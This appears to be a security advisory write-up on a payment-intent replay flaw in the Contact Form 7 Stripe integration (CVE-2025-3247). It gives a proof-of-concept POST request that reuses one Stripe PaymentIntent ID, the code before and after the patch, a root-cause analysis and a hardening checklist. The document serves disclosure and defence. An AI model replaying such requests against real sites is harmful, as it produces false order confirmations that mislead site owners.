The Exploit
An unauthenticated attacker with a single intercepted Stripe PaymentIntent ID can reuse it across unlimited form submissions, triggering confirmations for non-existent transactions.
POST /index.php HTTP/1.1
Host: target-wordpress.local
Content-Type: application/x-www-form-urlencoded
_wpcf7=123&
_wpcf7_version=6.0.5&
_wpcf7_locale=en_US&
_wpcf7_unit_tag=wpcf7-f123-p456-o1&
_wpcf7_container_post_id=456&
_post_nonce_referer=%2F&
_wpnonce=abc123def456&
your_name=Attacker&
your_email=attacker%40example.com&
your_message=Order+999&
_wpcf7_stripe_payment_intent=pi_1234567890abcdefghijklmn&
_wpcf7_stripe_posted_data_hash=hash123
Repeat this request five times with identical _wpcf7_stripe_payment_intent and _wpcf7_stripe_posted_data_hash values. Each request returns HTTP 200 with a success message. The site administrator receives five separate order confirmation emails despite only one Stripe charge ever being processed — the metadata tracking an individual payment intent reuse is absent in the vulnerable code path.
What the Patch Did
Before
$pi_id = trim( $_POST['_wpcf7_stripe_payment_intent'] );
$payment_intent = $service->api()->retrieve_payment_intent( $pi_id );
if ( isset( $payment_intent['status'] )
and ( 'succeeded' === $payment_intent['status'] ) ) {
$submission->push( 'payment_intent', $pi_id );
}
if ( ! empty( $submission->pull( 'payment_intent' ) )
and $submission->verify_posted_data_hash() ) {
$skip_spam_check = true;
}
After
if (
isset( $payment_intent['metadata']['wpcf7_submission_timestamp'] )
) {
// This PI has already been used. Ignore.
return $skip_spam_check;
}
if (
isset( $payment_intent['status'] ) and
'succeeded' === $payment_intent['status']
) {
$submission->push( 'payment_intent', $pi_id );
$service->api()->update_payment_intent( $pi_id, array(
'metadata' => array(
'wpcf7_submission_timestamp' => $submission->get_meta( 'timestamp' ),
),
) );
}
if (
! empty( $submission->pull( 'payment_intent' ) ) and
$submission->verify_posted_data_hash()
) {
$skip_spam_check = true;
}
The patch added idempotency tracking by writing a submission timestamp into the Stripe PaymentIntent's metadata after first use, then checking for that metadata before processing any future request bearing the same payment intent ID. The control is the metadata field on the Stripe PaymentIntent object, updated via $service->api()->update_payment_intent() — a server-side audit trail that prevents the same payment intent from being accepted twice. Without this metadata check, the code performs no stateful validation to detect reuse.
Root Cause
CWE-345: Insufficient Verification of Data Authenticity
The user-controlled _wpcf7_stripe_payment_intent parameter (sent in $_POST) flows directly into $service->api()->retrieve_payment_intent( $pi_id ) and is accepted if the Stripe API returns status succeeded. However, the plugin never records that a particular payment intent has been processed by a particular Contact Form 7 submission. An attacker can submit the same valid payment intent ID across multiple form submissions; the Stripe API will return the same cached, succeeded payment intent every time, and the plugin will honor it as a new transaction each time. The trust boundary crossed is between the plugin's transaction log (per-form submission) and Stripe's payment intent status (global, not per-form). Stripe correctly reports status: succeeded for a payment it already processed; the plugin's mistake is not asking Stripe when it processed the payment or storing an admission of processing to reject duplicates.
Why It Works
The single load-bearing line is the metadata write: $service->api()->update_payment_intent( $pi_id, array( 'metadata' => array( 'wpcf7_submission_timestamp' => ... ) ) ); If you remove this line, the bug remains fully exploitable — the early return check on the next line becomes useless because no metadata will ever be present. The additional lines — the early return guard and the timestamp extraction — implement defense-in-depth: the write creates the defense, the check enforces it, and the timestamp provides audit context. Without the write, an attacker's second request will retrieve the same succeeded payment intent (Stripe has no reason to block it), and the spam check will be skipped again.
Hardening Checklist
-
Implement idempotency keys for external payment processors. Use a unique, deterministic hash of the submission data (similar to
_wpcf7_stripe_posted_data_hash) as the idempotency key in all calls to Stripe API methods that modify state. Stripe's idempotency support (Idempotency-Keyheader) ensures a duplicate request with the same key returns the original response, preventing duplicate charges. -
Track processed payment intents server-side with expiration. Store the processed payment intent ID and submission ID pair in post meta or a dedicated option with a TTL. Check this cache before calling the Stripe API; reject requests with cached payment intent IDs. Combine with the metadata approach for redundancy.
-
Validate the payment intent's
customerandamountfields against the current form submission. Do not trust the Stripe API'sstatusfield alone. Retrieve the payment intent and verify that itsamountmatches the form's current total and itscustomer(or description) field matches the expected submission context. A replay attack will fail if the attacker submits the payment intent against a different form or order. -
Apply
wp_verify_nonce()and time-bound token validation to form submission handlers. Ensure the_wpnonceparameter is valid and recent; usewp_nonce_field( 'wpcf7_form_nonce_' . $post_id )and verify withcheck_admin_referer()orwp_verify_nonce(). This raises the bar for replay by forcing attackers to forge a fresh nonce per request. -
Log all payment intent retrievals and status checks to a dedicated audit table. Record the payment intent ID, submission ID, timestamp, and response status in a transactional log. Query this log before processing; if a payment intent appears twice within a time window, flag the submission as spam or require manual review.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-3247